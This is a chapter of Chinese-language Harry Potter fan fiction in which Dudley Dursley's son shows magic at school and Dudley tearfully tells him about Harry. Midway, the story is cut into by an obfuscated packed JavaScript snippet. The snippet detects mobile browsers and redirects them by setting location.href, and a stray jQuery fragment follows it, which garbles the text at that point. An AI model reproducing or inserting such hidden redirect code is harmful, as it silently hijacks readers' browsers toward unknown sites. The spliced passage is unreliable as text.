第一章多年后再次消失的玻璃
圣玛格丽特小学的走廊在七月末的午后安静得像一座坟墓。
艾登·德思礼停在奖杯陈列柜前，盯着1972年校际辩论赛的银杯。阳光穿过维多利亚式建筑的彩色玻璃窗，在银杯表面碎裂成一地光斑。他本该在体育馆里和其他男生一起打板球——父亲坚持说“运动能让男孩变正常”——但他借口肚子疼溜了出来。
正常。这个词像一根刺，卡在他十一岁生命的咽喉里。
银杯反射的光正好晃进他的眼睛。艾登眯起眼，突然想起昨晚的梦：银杯变成了会说话的脑袋，嘴唇是弯曲的杯沿，一直在问同一个问题。
你确定自己正常吗？
“走开。”他低声说，声音在空荡的走廊里显得突兀。
银杯没有回答。但玻璃消失了。
不是碎裂，没有声响。陈列柜正面的玻璃从边缘开始消融，像糖块在热水中溶解，化作无数细碎的光点，在空中悬浮了三秒，然后彻底不见。现在奖杯赤裸地站在橡木隔板上，青铜表面突然显得廉价而尴尬。
艾登的第一反应是耳鸣。世界被抽走了声音，只剩下血液冲刷耳膜的轰鸣。然后是指尖发麻——那种感觉又来了，像有无数细小的针在皮肤下游走，试图刺破表面。五岁那年在厨房，抽屉“自己”夹住了他的手指，骨头碎裂的声音清晰可闻。母亲尖叫着冲过来，但当她拉开抽屉时，他的小指完好无损，只留下一道淡得几乎看不见的白痕。
“离那些怪事远点，”父亲达力常说，粗壮的手指戳着报纸上的社会新闻，“德思礼家的人要脚踏实地。”
脚步声从走廊尽头传来。艾登猛地转身，看见哈里斯先生——那个永远穿棕色西装、头发梳得一丝不苟的校长——正站在十五米外，手里抱着一摞文件。校长的眼镜滑到鼻尖，嘴巴微微张开。
他们隔着空荡荡的陈列柜对视了漫长的十秒钟。
“德思礼。”哈里斯先生终于说，声音平静得可怕，“请到我的办公室来。现在。”
校长室的胡桃木镶板在午后阳光下泛着暗沉的光泽。墙上挂着历任校长的肖像，那些穿维多利亚时代长袍的老人都用同一种表情俯视着他：混合着好奇与轻微的厌恶。空气里有雪茄、旧书和上光蜡的味道，还有一种更隐秘的气味——艾登后来才会知道，那是恐惧。
达力·德思礼坐在为访客准备的椅子上，那张椅子对他的体型来说太小了。他的西装外套紧绷在肩膀上，汗水在额头和颈后积聚成细小的珠串。艾登注意到父亲右手无名指上的旧伤——一道歪斜的白色疤痕，像闪电的分岔。很多年前的一个夏夜，达力喝醉了威士忌，提起过这道疤的来历：“你那个怪胎表叔离家出走那晚，我气得砸碎了客厅所有的玻璃。”
“德思礼先生，”哈里斯校长推了推眼镜，镜片后的眼睛没有看艾登，只盯着达力，“这已经是本学期第三次‘异常事件’。”
达力擦了擦汗：“我儿子很敏感，校长。可能是压力……青春期，您知道。我们愿意赔偿玻璃的损失。”
“上个月，”校长慢条斯理地翻开一本皮革封面的记录册，“实验室的六盏本生灯在同一秒全部熄灭。监控显示当时只有德思礼同学在附近整理器材。”
“电路故障……”
“三周前，图书馆D区的非小说类书籍从书架上‘飞’出来。不是掉下来，是飞出来。图书管理员沃森太太发誓她看见书像鸟一样在空中盘旋了五秒。”
达力的脸颊开始涨红——那是愤怒的前兆，艾登太熟悉了。但这次愤怒里掺杂了别的东西，一种更接近恐慌的情绪。
“今天，”校长合上记录册，发出一声沉重的闷响，“则是这所学校定制的、价值两千三百英镑的防弹玻璃，在没有任何物理接触的情况下，从分子层面分解了。保险公司的人会怎么想，德思礼先生？”
办公室陷入沉默。窗外传来板球击中球拍的声音，遥远的、规律的砰砰声，像缓慢的心跳。
哈里斯校长站起来，走到窗边。他的背影在逆光中变成一个剪影。
“我在这所学校工作了三十七年，”他说，声音突然变得轻柔，像在分享一个秘密，“见过两个这样的孩子。第一个是1985年，一个总是让教室电灯忽明忽暗的男孩。老师们说他神经紧张，家长说他睡眠不足。直到某天午餐时间，他让整个食堂的桌椅离地悬浮了十厘米。”
达力的呼吸变得粗重。
“那个男孩后来被一所……特殊学校接走了。在苏格兰某处。”校长转过身，目光第一次直接落在艾登身上，“第二个是个女孩，1998年。她能让粉笔在黑板上自己写字。她父亲是物理学家，尝试了所有科学解释，最后不得不承认：有些事超出了我们的理解范畴。她也去了苏格兰，同一所寄宿学校。”
艾登感觉到那些针又开始在皮肤下游走。这次它们向上爬，顺着脊椎，刺进后脑。
“那所学校，”达力的声音嘶哑得像砂纸摩擦，“叫什么名字？”
哈里斯校长从抽屉里取出一张便签纸，用钢笔写下什么，推过桌面。达力没有碰那张纸，只是盯着看。艾登从父亲颤抖的肩膀辨认出那几个单词。
霍格沃茨。
“不。”达力说，声音很低，但每个音节都像拳头砸在桌上，“不可能。”
“德思礼先生——”
“我儿子不会去那里。”达力站起来，椅子在地板上刮出刺耳的声音，“他不会变成……变成他们那样。”
校长沉默地看着他，眼神里有某种接近怜悯的东西。“恐怕选择权不在我们手里，”他轻声说，“那封信最迟明天就会到。猫头鹰总是能找到路，无论你把窗户封得多紧。”
猫头鹰。艾登想起上周在自家花园橡树上看见的那只褐色大鸟，它站在最高的枝头，黄色的眼睛在暮色中像两盏小灯。它在那里待了整个黄昏，然后无声地展开翅膀，消失在渐浓的夜色里。
回家路上开始下雨。
起初只是稀疏的雨点砸在车窗上，发出单调的哒哒声。然后天空裂开了，雨水倾盆而下，在挡风玻璃上汇成湍急的溪流。雨刷疯狂地左右摆动，但能见度还是迅速降到几米之内。达力把车开到限速以下，双手紧紧抓着方向盘，指节发白。
车内弥漫着他古龙水的气味——那种廉价的、刺鼻的香味，混合着汗水，形成一种独特的、属于父亲的味道。收音机里天气预报员正在播报：“……反常雷暴系统将持续到明天清晨，气象局已发布黄色预警……”
“爸爸，”艾登盯着雨刷单调的摆动，“我是不是……有问题？”
没有回答。只有雨声、引擎声、雨刷的摩擦声。
“那些事……灯和书……还有今天的玻璃……不是我故意的。我不知道它们怎么会……”
“闭嘴。”达力说。
但这不是他平常那种愤怒的“闭嘴”，里面没有火气，只有疲惫，深不见底的疲惫。艾登转过头，看见父亲的脸在仪表盘微光中显得陌生。汗水从鬓角流下，沿着下巴的轮廓滴到衬衫领口。达力·德思礼四十二岁了，但此刻他看起来像个迷路的孩子。
突然，方向盘猛地向右打。轮胎在湿滑的路面上发出尖锐的嘶鸣，车身甩进一条小路，颠簸着冲进一座废弃加油站的空地。生锈的加油机像骨骼般立在倾盆大雨中，顶棚早已塌陷，露出锈蚀的钢架。
引擎熄火了。
世界突然安静下来，只剩下雨水敲打车顶的鼓点。车内灯自动亮起，在狭小空间里投下昏黄的光晕。达力盯着方向盘，仿佛从未见过这个东西。他的呼吸很重，胸口在廉价西装下剧烈起伏。
然后，他做了件艾登从未见过的事。
他哭了。
不是抽泣，没有声音。眼泪就那么从他眼中涌出来，顺着脸颊流下，混进汗水里。一个四十二岁、体重接近一百二十公斤的男人，在废弃加油站的车里，对着方向盘无声地流泪。
“爸爸——”
“听着。”达力打断他，声音粗粝得可怕，“有些事我早该告诉你。在你出生前就该说。在你妈妈还活着的时候……在她还能……”
他从西装内侧口袋掏出钱包——那种用了很多年的旧皮夹，边缘已经磨损发白。颤抖的手指在卡片和钞票间翻找，最后从最里面的夹层抽出一张折成小方块的照片。
照片是静止的，麻瓜照片的那种静止。边缘已经发黄，四个角都磨损了。
达力把它展开，放在仪表盘上。
照片上，十岁左右的达力挤在沙发一角。他穿着条纹T恤，金发剃得很短，脸颊胖得把眼睛挤成两条缝。他看起来很不高兴，嘴唇紧抿，肩膀紧绷。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033028|194565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
旁边坐着一个黑发男孩。
男孩比达力瘦小得多，穿着至少大两码的旧衣服，膝盖从破洞里露出来。他戴着一副用胶带粘了无数次的圆眼镜，镜片后的眼睛很大，是某种明亮的绿色。最引人注目的是额头——一道闪电形的疤痕，即使在这张褪色的照片上依然清晰可见。
艾登知道那是谁。家里从不说那个名字，但它悬在空气中，像一个从未愈合的伤口。
“哈利·波特。”达力说出这个名字时，声音里有一种奇异的释然，仿佛终于拔出了一根扎在肉里二十年的刺，“我妈妈叫他‘那个男孩’。我爸爸假装他不存在。而我……”
他深吸一口气，雨水敲打车顶的声音突然变得震耳欲聋。
“……我花了二十年假装那些事没发生过。会飞的摩托。从壁炉钻出来、浑身是灰的男人。我姨妈浮在空中用魔法做家务。还有……”
达力的手不自觉地摸向臀部，那个位置在西装裤下微微隆起——一道旧伤。
“还有什么？”艾登轻声问。
“猪尾巴。”达力短促地笑了一声，那笑声里没有任何笑意，“某个猎场看守人——海格，他叫这个——为了惩罚我欺负哈利，用一根破棍子指着我，然后我就长出了一条货真价实的猪尾巴。粉红色的，会卷曲，还他妈会摇。”
艾登瞪大眼睛。
“我在医院躺了一周，”达力继续说，目光空洞地望着窗外的雨幕，“医生们想不通，一个十一岁男孩怎么可能长出一条功能齐全的猪尾巴。他们拍了X光，做了CT扫描，最后得出结论是‘罕见的良性增生’，用手术切除了。但切除前，那东西在我屁股上长了一个星期。一个星期！”
他又笑起来，这次笑出了眼泪，或者说眼泪混进了笑声里。
“我以为这一切都结束了。我结婚，有你，我们搬到小惠金区——离女贞路四条街，够远了，我想。我开公司，你妈妈种玫瑰，你按时上学，成绩中等，不惹麻烦。我们过正常人的生活。正常人的生活！”
他猛地捶了一下方向盘，喇叭发出短促的悲鸣。
“但现在，”达力转向艾登，眼泪和雨水和汗水在他脸上混成一片，“现在你要变成他们了。你要变成那些怪胎中的一员。我的儿子。我唯一的儿子。”
艾登想说什么，但喉咙被什么东西堵住了。他看向照片，照片上的哈利·波特正看着镜头，那双绿色的眼睛里有一种达力从未有过的神情：那不是快乐，也不是悲伤，而是一种警觉的、等待着的平静，仿佛他知道照相机后面有什么，知道按下快门后会发生什么。
“他在哪里？”艾登终于问出来，“他现在……怎么样了？”
达力盯着照片看了很久，久到雨声都仿佛变小了。
“魔法部部长。”他说，语气平淡得像在读报纸头条，“或者类似的大人物。结婚了，有三个孩子。拯救过世界好几次。正常人眼里的英雄。”
“但对你来说不是。”
“对我来说，”达力小心地折起照片，放回钱包最里层，“他是我表弟，一个在我家长大、把我生活搅得天翻地覆的怪胎，一个让我父亲到死都害怕壁炉会突然喷火的阴影。”
他重新发动汽车，引擎咳嗽了两声才启动。
“我们回家，”他说，声音恢复了某种平静，那种决定投降后的平静，“猫头鹰要来就让它来吧。但听着，艾登——”
他转过头，眼睛在昏黄灯光下异常明亮。
“如果你非去不可，我要你答应我一件事：不要变成他。不要变成哈利·波特。不要当英雄，不要拯救世界，不要让人在报纸上读到你的名字。你就……好好活着。平安地、正常地活着。能做到吗？”
艾登看着父亲的眼睛，看着里面翻涌的恐惧、愤怒，以及底下更深沉的东西——那是爱，扭曲的、笨拙的、不知如何表达的爱。
“我尽量。”他说。
达力点了点头，好像这就是他能期待的全部了。他挂挡，倒车，车子重新驶入瓢泼大雨中。艾登最后看了一眼后视镜，废弃加油站在雨幕中迅速缩小，变成一个苍白的剪影，然后消失不见。
仪表盘上的时钟显示晚上七点零三分。
还有十七个小时，他的十一岁生日就要到了。
而某些事，一旦开始，就再也回不去了。